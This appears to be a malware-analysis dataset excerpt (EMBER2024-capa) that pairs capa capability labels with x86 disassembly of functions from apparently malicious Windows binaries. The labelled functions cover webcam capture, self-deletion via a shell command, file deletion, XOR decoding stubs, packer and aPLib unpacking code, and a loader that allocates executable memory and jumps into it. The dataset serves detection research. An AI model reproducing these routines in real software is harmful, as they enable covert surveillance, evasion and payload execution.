joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1029eeb
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
mov esi, eax
neg eax
sbb eax, eax
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
and eax, 0xffffffe0
add eax, 0x419
push eax
push dword [esp + 0x12c]
call edi
neg esi
sbb esi, esi
and esi, 0x20
add esi, 0x3f9
push esi
push dword [esp + 0x12c]
mov dword [esp + 0x20], eax
call edi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
xor ebp, ebp
push ebp
push ebp
push 0x190
push eax
mov dword [esp + 0x20], eax
call esi
mov ebx, eax
cmp ebx, ebp
mov dword [esp + 0x1c], ebx
jle 0x102a084
push ebp
push ebp
push 0xb
push dword [esp + 0x24]
call esi
push ebp
push ebp
push 0xb
push dword [esp + 0x1c]
call esi
mov eax, ebx
shl eax, 2
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
push ebx
push 0x191
push dword [esp + 0x1c]
mov dword [esp + 0x24], eax
call esi
xor ebx, ebx
cmp dword [esp + 0x1c], ebp
jle 0x1029ffe
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x18]
mov eax, dword [eax + ebx*4]
sub eax, ebx
push eax
push 0x189
push dword [esp + 0x1c]
call esi
mov eax, dword [esp + 0x14]
mov eax, dword [eax + ebx*4]
push ebp
sub eax, ebx
push eax
push 0x199
push dword [esp + 0x1c]
call esi
mov dword [esp + 0x20], eax
lea eax, [esp + 0x24]
push eax
push ebp
push 0x180
push dword [esp + 0x24]
call esi
push dword [esp + 0x20]
push eax
push 0x19a
push dword [esp + 0x24]
call esi
mov eax, dword [esp + 0x14]
mov eax, dword [eax + ebx*4]
push ebp
sub eax, ebx
push eax
push 0x182
push dword [esp + 0x1c]
call esi
inc ebx
cmp ebx, dword [esp + 0x1c]
jl 0x1029f8c
push ebp
push 1
push 0xb
push dword [esp + 0x24]
call esi
push ebp
push 1
push 0xb
push dword [esp + 0x1c]
call esi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebp
push ebp
push 0x190
push 0x1389
push dword [esp + 0x138]
call edi
push eax
call esi
neg eax
sbb eax, eax
neg eax
push eax
push 0x138a
push dword [esp + 0x130]
call edi
mov ebx, dword [sym.imp.USER32.dll_EnableWindow]
push eax
call ebx
push ebp
push ebp
push 0x190
push 0x138c
push dword [esp + 0x138]
call edi
push eax
call esi
neg eax
sbb eax, eax
neg eax
push eax
push 0x138b
push dword [esp + 0x130]
call edi
push eax
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret 4
Function at 0x102b6e4
Capabilities:
Delete file
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
cmp dword [0x10392e4], 0
je 0x102b7e9
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov esi, 0x104
cmp dword [ebp - 4], 0
lea eax, [ebp - 0x108]
jne 0x102b71c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x102b731
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0x108]
push eax
call fcn.0100d8d9
lea eax, [ebp - 0x108]
push eax
call fcn.01029788
cmp dword [ebp - 4], 0
mov ebx, eax
mov eax, 0x1001d18
je 0x102b74f
mov eax, 0x1002ac4
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.0100d647
push esi
push 0x1002abc
lea eax, [ebp - 0x108]
push eax
call fcn.0100d647
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x102b7d2
push ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.0100d647
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x248]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x102b78a
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x102b706
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1033bb3
Capabilities:
Parse pe header

Disassembly:
push 0x70
push 0x1002b78
call fcn.01033d7c
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x1033bf0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1033bf0
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1033c08
cmp eax, 0x20b
je 0x1033bf5
mov dword [ebp - 0x1c], ebx
jmp 0x1033c1c
cmp dword [ecx + 0x84], 0xe
jbe 0x1033bf0
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x1033c16
cmp dword [ecx + 0x74], 0xe
jbe 0x1033bf0
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x10399dc], 0xffffffff
or dword [0x10399e0], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1037d20]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1037d1c]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x10399e4], eax
call fcn.01033df0
cmp dword [0x10373a0], ebx
jne 0x1033c77
push fcn.01033df0
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01033dde
push 0x1001560
push 0x100155c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1037d18]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x1037d14]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x1001558
push 0x1001554
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
cmp byte [esi], 0x22
jne 0x1033d0d
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x1033ce1
cmp al, 0x22
jne 0x1033cd3
cmp byte [esi], 0x22
jne 0x1033cea
inc esi
mov dword [ebp - 0x34], esi
mov al, byte [esi]
cmp al, bl
je 0x1033cf4
cmp al, 0x20
jbe 0x1033ce6
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x78]
push eax
jmp 0x103594d
cmp byte [esi], 0x20
jbe 0x1033cea
inc esi
mov dword [ebp - 0x34], esi
jmp 0x1033d0d
test al, dl
sub ecx, 2
cld
xchg edx, edx
xchg dl, al
mov dl, 0xd6
lea edx, [edx + 0x6e]
not eax
not dl
mov edx, edx
nop
lea eax, [edx - 0xb]
mov edx, ebx
mov eax, esp
cwde
jmp 0x10359a7
mov ecx, 0x4e64
xchg ah, dh
mov dh, al
jmp 0x1035966
mov edx, 0x7694e1ef
lea edx, [esi]
sub word [ecx + 0x1044ffe], 0x3925
dec edx
dec eax
mov dh, 0x73
jmp 0x103598f
mov eax, ecx
xchg edx, edx
and eax, 0xabb4ca5b
jmp 0x1035912
xchg al, al
not dl
lea eax, [edi - 0x3a6642c1]
jg 0x1035966
mov al, bl
mov ah, cl
jmp 0x1049be5
Function at 0x401225
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a01c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [0x40a020], 0x401219
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
mov dword [0x40a038], eax
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
lea eax, [0x40803c]
fnstenv [eax]
push 0
push 0x40a030
push 0x40a02c
push 0x40a028
call sub.CRTDLL.DLL___GetMainArgs
mov ecx, 0x408058
mov edx, dword [ecx]
or edx, edx
je 0x40129f
call ecx
push dword [0x40a030]
push dword [0x40a02c]
push dword [0x40a028]
mov dword [0x40a014], esp
call fcn.004012d4
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x4012d4
Capabilities:
Execute command
Move file
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov ecx, 0x103
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x4012e2
push edi
push 0x40a0e7
mov edi, dword [ebp + 0xc]
push dword [edi]
call sub.CRTDLL.DLL_strstr
add esp, 8
push 0xff
push eax
lea edi, [ebp - 0x30b]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 8
lea edi, [ebp - 0x304]
push edi
lea edi, [ebp - 9]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
mov byte [ebp - 1], 0
lea edi, [ebp - 9]
push edi
call fcn.0040430c
add esp, 4
cmp eax, 8
je 0x401348
mov eax, 0
jmp 0x40144f
push str.preparat
lea edi, [ebp - 9]
push edi
call sub.CRTDLL.DLL_strstr
add esp, 8
cmp eax, 0
je 0x401368
mov eax, 0
jmp 0x40144f
lea edi, [ebp - 9]
push edi
push str.dcmoto__s.dat
lea edi, [ebp - 0x40a]
push edi
call fcn.00404219
add esp, 0xc
lea edi, [ebp - 9]
push edi
push str.dcmoto__s.exe
lea edi, [ebp - 0x108]
push edi
call fcn.00404219
add esp, 0xc
lea edi, [ebp - 0x108]
push edi
lea edi, [ebp - 0x40a]
push edi
call sub.CRTDLL.DLL_rename
add esp, 8
push 0x40a0bd
lea edi, [ebp - 0x108]
push edi
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0x20c], eax
push dword [ebp - 0x20c]
push 0x4d
call sub.CRTDLL.DLL_fputc
add esp, 8
push dword [ebp - 0x20c]
push 0x5a
call sub.CRTDLL.DLL_fputc
add esp, 8
push dword [ebp - 0x20c]
call sub.CRTDLL.DLL_fclose
add esp, 4
lea edi, [ebp - 0x108]
push edi
push str.start__s
lea edi, [ebp - 0x207]
push edi
call fcn.00404219
add esp, 0xc
lea edi, [ebp - 0x207]
push edi
call sub.CRTDLL.DLL_system
add esp, 4
lea edi, [ebp - 0x30b]
push edi
push str.start_cmd__c_del__s
lea edi, [ebp - 0x207]
push edi
call fcn.00404219
add esp, 0xc
lea edi, [ebp - 0x207]
push edi
call sub.CRTDLL.DLL_system
add esp, 4
mov eax, 0
pop edi
leave
ret
Function at 0x401bb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp edi, 1
je 0x401c3e
cmp edi, 4
jne 0x401c33
mov eax, dword [sym.imp.CRTDLL.DLL__iob]
add eax, 0x40
push eax
push 1
push 7
push str.signal
call sub.CRTDLL.DLL_fwrite
push 0xa
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 0xc]
call sub.CRTDLL.DLL__itoa
add esp, 0x1c
lea ecx, [ebp - 0x80]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401bf7
mov ebx, dword [sym.imp.CRTDLL.DLL__iob]
add ebx, 0x40
push ebx
push 1
push eax
lea esi, [ebp - 0x80]
push esi
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
mov eax, dword [sym.imp.CRTDLL.DLL__iob]
add eax, 0x40
push eax
push 1
push 1
push 0x40a250
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
jmp 0x401c3e
cmp edi, 3
je 0x401c3e
push dword [ebp + 0xc]
call edi
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4044c2
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
or dword [ebp - 0x20], 0xffffffff
and dword [ebp - 0x18], 0
or dword [ebp - 0x134], 0xffffffff
push pe_nt_image_headers32
push 0
lea eax, [ebp - 0x1c0]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
and dword [ebp - 4], 0
and dword [ebp - 0x138], 0
jmp 0x404e8c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x409be0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push edi
push esi
push ebx
sub esp, 0x120
mov ebx, dword [esp + 0x130]
call sub.msvcrt.dll__errno
mov dword [eax], 0
test ebx, ebx
je 0x409e10
cmp byte [ebx], 0
je 0x409ddb
mov dword [esp], ebx
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0xffffffff
je 0x409e01
test al, 0x10
je 0x409ddb
mov dword [esp + 4], ebx
mov eax, 0x104
lea esi, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp], esi
call sub.msvcrt.dll__fullpath
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x409c50
test edx, 0x8080
jne 0x409c75
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, esi
lea eax, [ecx + 0x233]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov ebx, eax
je 0x409df2
mov dword [esp + 4], esi
lea esi, [eax + 0x22c]
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
cmp byte [ebx + 0x22c], 0
je 0x409d70
mov dword [esp], esi
mov eax, 0x2f
mov dword [esp + 4], eax
call sub.msvcrt.dll_strrchr
mov edi, eax
mov ecx, esi
nop
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x409cd0
test edx, 0x8080
jne 0x409cf5
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, esi
lea eax, [ecx + ebx + 0x22b]
cmp edi, eax
je 0x409d70
mov dword [esp], esi
mov edi, 0x5c
mov dword [esp + 4], edi
call sub.msvcrt.dll_strrchr
mov edi, eax
mov ecx, esi
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x409d20
test edx, 0x8080
jne 0x409d45
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, esi
lea eax, [ecx + ebx + 0x22b]
cmp edi, eax
je 0x409d70
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov ecx, 0x5c
mov word [ebx + eax + 0x22c], cx
lea esi, [esi]
mov dword [esp], esi
xor edi, edi
xor esi, esi
call sub.msvcrt.dll_strlen
mov edx, 0x2a
mov ecx, 0x104
mov word [ebx + eax + 0x22c], dx
mov eax, 0xffffffff
mov word [ebx + 0x11c], di
xor edx, edx
mov dword [ebx + 0x224], eax
xor eax, eax
mov dword [ebx + 0x228], eax
xor eax, eax
mov dword [ebx + 0x118], eax
lea eax, [ebx + 0x120]
mov word [ebx + 0x11e], si
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_memset
add esp, 0x120
mov eax, ebx
pop ebx
pop esi
pop edi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x14
xor eax, eax
add esp, 0x120
pop ebx
pop esi
pop edi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0xc
xor eax, eax
jmp 0x409de8
call sub.msvcrt.dll__errno
mov dword [eax], 2
xor eax, eax
jmp 0x409de8
call sub.msvcrt.dll__errno
mov dword [eax], 0xe
xor eax, eax
jmp 0x409de8
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0xafa058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00afa1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xafa07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xafa06a
add dl, dl
jne 0xafa089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xafa0dc
xor eax, eax
add dl, dl
jne 0xafa096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xafa17d
add dl, dl
jne 0xafa0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xafa0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xafa0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xafa0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xafa0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xafa075
mov eax, 1
add dl, dl
jne 0xafa0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xafa0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xafa0e1
sub eax, ebx
mov ebx, 1
jne 0xafa128
mov ecx, 1
add dl, dl
jne 0xafa10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xafa119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xafa105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xafa075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xafa13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xafa14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xafa136
cmp eax, 0x7d00
jae 0xafa16d
cmp eax, 0x500
jb 0xafa168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xafa075
cmp eax, 0x7f
ja 0xafa170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xafa075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xafa19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xafa075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x2e0289f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x2e028a02
pop dword [ebp - 0x18]
mov eax, 0x2e028a02
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x39c39d8a
add dword [ebp - 0x28], 0x148ea7c1
mov dword [ebp - 0x24], 0xee53274e
add dword [ebp - 0x24], 0x43e024f7
mov dword [ebp - 0x20], 0xb26a4124
sub dword [ebp - 0x20], 0x661dfcf6
mov dword [ebp - 0x1c], 0x12a0003d
add dword [ebp - 0x1c], 0xed5fffc3
lea eax, [ebp - 0x28]
push eax
mov eax, 0x59345ffa
sub eax, 0x2b312f32
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xc94f73d1
sub dword [ebp - 0x28], 0x54dd0a7b
mov dword [ebp - 0x24], 0x28e6fd25
add dword [ebp - 0x24], 0x18856450
mov dword [ebp - 0x20], 0x67006d5d
sub dword [ebp - 0x20], 0x39100f1
mov dword [ebp - 0x1c], 0x99fa0c65
add dword [ebp - 0x1c], 0x6605f39b
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x5ef1119
add eax, 0x28141fa3
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3e462
push 0
call eax
mov ecx, 0xfdbbe2f3
add ecx, 0x24459e1
xor esi, esi
add esi, eax
mov edi, 0x81bff1d0
sub edi, 0x53ba73d0
add edi, dword [ebp - 0x18]
mov edx, 0x8bcd324c
sub edx, 0x78c5e391
mov ebx, dword [edi]
sub dword [ebp - 0x14], 0xfae4fb90
add ebx, edx
xor dword [ebp - 8], 0x499afe7a
mov dword [esi], ebx
add dword [ebp - 4], 0xd3e986cf
add esi, 4
add edi, 4
loop 0x2e028b21
add eax, 0xe623
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2e000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0xede703
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0xede853
mov edx, 0x10000000
cmp eax, 0x7c
je 0xede853
cmp eax, 0x29
jne 0xede73c
cmp dword [esi + 0x10], 0
jne 0xede853
test dword [esi + 0x50], edx
je 0xede859
cmp eax, 0x2e
jne 0xede757
push 5
lea ecx, [esi + 0x24]
call fcn.00ede91c
mov ecx, esi
call fcn.00ede6db
jmp 0xede83d
cmp eax, 0x5c
jne 0xede7a9
mov ecx, esi
call fcn.00ede6db
test byte [esi + 0x50], 0x80
je 0xede79d
mov al, byte [esi + 0x48]
cmp al, 0x62
jne 0xede786
push 4
lea ecx, [esi + 0x24]
call fcn.00ede91c
mov ecx, esi
call fcn.00ede6db
jmp 0xede844
cmp al, 0x42
jne 0xede79d
push 4
lea ecx, [esi + 0x24]
call fcn.00ede91c
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0xede77a
mov ecx, esi
call fcn.00edfd42
jmp 0xede83d
cmp eax, 0x5b
jne 0xede7c9
mov ecx, esi
call fcn.00ede6db
mov ecx, esi
call fcn.00edfcf6
cmp dword [esi + 0x4c], 0x5d
je 0xede74b
push 4
jmp 0xede85b
cmp eax, 0x28
jne 0xede7e6
mov ecx, esi
call fcn.00ede6db
mov ecx, esi
call fcn.00edfe13
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0xede859
jmp 0xede832
cmp eax, 0x5e
jne 0xede7ef
push 2
jmp 0xede772
cmp eax, 0x24
jne 0xede7fb
push 3
jmp 0xede772
cmp eax, 0x2a
je 0xede84f
cmp eax, 0x2b
je 0xede84f
cmp eax, 0x3f
je 0xede84f
cmp eax, 0x7b
je 0xede84f
cmp eax, 0x7d
jne 0xede819
test dword [esi + 0x50], edx
je 0xede84b
cmp eax, 0x5d
jne 0xede823
test dword [esi + 0x50], edx
je 0xede7c2
movzx eax, byte [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.00edff7c
mov bl, 1
mov ecx, esi
call fcn.00ede6db
test bl, bl
je 0xede844
mov ecx, esi
call fcn.00edfe94
mov cl, 1
jmp 0xede70a
push 6
jmp 0xede85b
push 0xa
jmp 0xede85b
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.00edc35e
int3

Function at 0xee49f6
Capabilities:
Parse pe header

Disassembly:
push 0
push edi
call fcn.012fe033
test eax, eax
je 0xee4a36
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xee4a36
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xee4a36
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0xee4a36
cmp dword [ecx + 0x74], 0xe
jbe 0xee4a36
cmp dword [ecx + 0xe8], 0
je 0xee4a36
mov al, 1
ret
xor al, al
ret
Function at 0xee67e0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0xb1a054]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebx + 8]
mov ecx, dword [ebx + 0xc]
call fcn.00ee7450
xorps xmm0, xmm0
lea eax, [edx + 0x10]
pxor xmm0, xmmword [edx]
mov ecx, 0xd
nop dword [eax]
lea eax, [eax + 0x10]
aesenc xmm0, xmmword [eax - 0x10]
sub ecx, 1
jne 0xee6820
aesenclast xmm0, xmmword [edx + 0xe0]
lea ecx, [edx + 0xf0]
push 0xe
lea edx, [ebp - 0x20]
movups xmmword [ebp - 0x20], xmm0
call fcn.00ee77f0
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00ee447d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret